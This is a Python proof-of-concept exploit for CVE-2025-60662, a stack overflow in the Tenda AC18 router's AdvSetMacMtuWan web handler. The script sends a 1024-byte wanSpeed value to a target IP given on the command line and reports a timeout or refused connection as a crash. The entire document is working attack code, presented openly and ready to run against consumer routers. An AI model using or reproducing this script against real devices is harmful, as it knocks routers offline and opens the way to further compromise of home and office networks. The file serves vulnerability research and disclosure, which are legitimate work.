CVE-2025-60662

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2025-60662 - Tenda AC18 Stack Overflow PoC Vulnerability: Stack buffer overflow via wanSpeed parameter in fromAdvSetMacMtuWan function Target: Tenda AC18 V15.03.05.19 Author: Security Researcher """ import requests import sys def exploit(target_ip, target_port=80): """ Exploit the stack overflow vulnerability in fromAdvSetMacMtuWan function by sending an oversized wanSpeed parameter. """ target_url = f"http://{target_ip}:{target_port}/goform/AdvSetMacMtuWan" # Construct the payload with an oversized wanSpeed parameter # The buffer overflow occurs when wanSpeed exceeds the expected length overflow_data = "A" * 1024 # Adjust length based on buffer size payload = { "wanSpeed": overflow_data, # Additional parameters that may be required by the function "MTU": "1500", "mac": "00:11:22:33:44:55" } headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-60662)", "Content-Type": "application/x-www-form-urlencoded", "Referer": f"http://{target_ip}:{target_port}/login.html" } try: print(f"[*] Targeting: {target_url}") print(f"[*] Payload size: {len(overflow_data)} bytes") response = requests.post( target_url, data=payload, headers=headers, timeout=10 ) print(f"[*] Response status: {response.status_code}") print(f"[*] Response length: {len(response.text)}") # Check if the device crashed or responded abnormally if response.status_code == 500 or "error" in response.text.lower(): print("[+] Target may be vulnerable!") else: print("[*] Request sent successfully") except requests.exceptions.Timeout: print("[+] Target appears to have crashed (timeout) - likely vulnerable!") except requests.exceptions.ConnectionError: print("[+] Connection refused - target may have crashed!") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [target_port]") print(f"Example: {sys.argv[0]} 192.168.0.1 80") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target_ip, target_port)

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